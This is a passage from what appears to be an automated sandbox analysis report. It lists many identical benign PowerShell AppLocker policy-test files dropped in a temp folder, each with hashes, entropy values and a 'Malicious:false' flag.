                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fmru41f5.mr5.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqahzcg2.cas.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfbaseok.wwq.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gh5mc5oz.k2z.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_glrr0ri1.4rd.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivwboomo.vdx.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iwm0h44l.3vd.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j03kyn4q.gcl.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkjac4t3.4bf.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kx4pgywi.yf1.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lbthknii.ztj.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_le2iblmc.r1h.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhyv20zd.r5c.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mnnttq4v.iyt.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_myuqo2wl.wvf.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n40xnd00.geo.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nksxcixq.uez.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nlolb3lm.fky.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwcd5ln2.qx3.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwl4p2fh.dtt.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwwkmiv2.t1r.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o20k3msa.knz.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odhwfrpf.4kk.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
